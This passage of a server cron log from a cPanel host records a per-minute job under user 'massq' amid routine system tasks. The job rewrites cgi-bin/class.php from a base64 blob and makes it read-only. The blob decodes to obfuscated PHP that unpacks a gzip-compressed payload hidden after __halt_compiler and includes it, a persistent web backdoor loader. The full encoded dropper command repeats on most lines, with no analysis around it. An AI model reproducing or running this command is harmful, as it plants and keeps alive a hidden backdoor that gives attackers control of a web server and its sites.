444 "$fp")
Sep  5 04:01:01 server run-parts(/etc/cron.hourly)[31110]: starting 0anacron
Sep  5 04:01:01 server anacron[31129]: Anacron started on 2026-09-05
Sep  5 04:01:01 server run-parts(/etc/cron.hourly)[31131]: finished 0anacron
Sep  5 04:01:01 server anacron[31129]: Job `cron.daily' locked by another anacron - skipping
Sep  5 04:01:01 server anacron[31129]: Normal exit (0 jobs run)
Sep  5 04:02:01 server CROND[31508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:02:01 server CROND[31509]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:02:01 server CROND[31510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:02:01 server CROND[31510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:03:01 server CROND[31897]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:03:01 server CROND[31898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:03:01 server CROND[31899]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:04:01 server CROND[32278]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:04:01 server CROND[32280]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:04:01 server CROND[32279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:05:01 server CROND[304]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 04:05:01 server CROND[319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:05:01 server CROND[323]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:05:01 server CROND[327]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 04:05:01 server CROND[328]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 04:05:01 server CROND[324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:05:01 server CROND[326]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 04:05:01 server CROND[325]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 04:06:01 server CROND[1295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:06:01 server CROND[1296]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:06:01 server CROND[1297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:07:01 server CROND[1684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:07:01 server CROND[1685]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:07:01 server CROND[1686]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:08:01 server CROND[2092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:08:01 server CROND[2093]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:08:01 server CROND[2094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:09:01 server CROND[2476]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:09:01 server CROND[2478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:09:01 server CROND[2477]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:09:01 server CROND[2479]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 04:10:01 server CROND[3017]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 04:10:01 server CROND[3018]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 04:10:01 server CROND[3021]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 04:10:01 server CROND[3025]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:10:01 server CROND[3026]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:10:01 server CROND[3027]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 04:10:01 server CROND[3028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:10:01 server CROND[3030]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 04:11:01 server CROND[3941]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:11:01 server CROND[3942]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:11:01 server CROND[3943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:12:01 server CROND[4340]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:12:01 server CROND[4347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:12:01 server CROND[4348]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 04:12:01 server CROND[4349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:13:01 server CROND[4729]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:13:01 server CROND[4730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
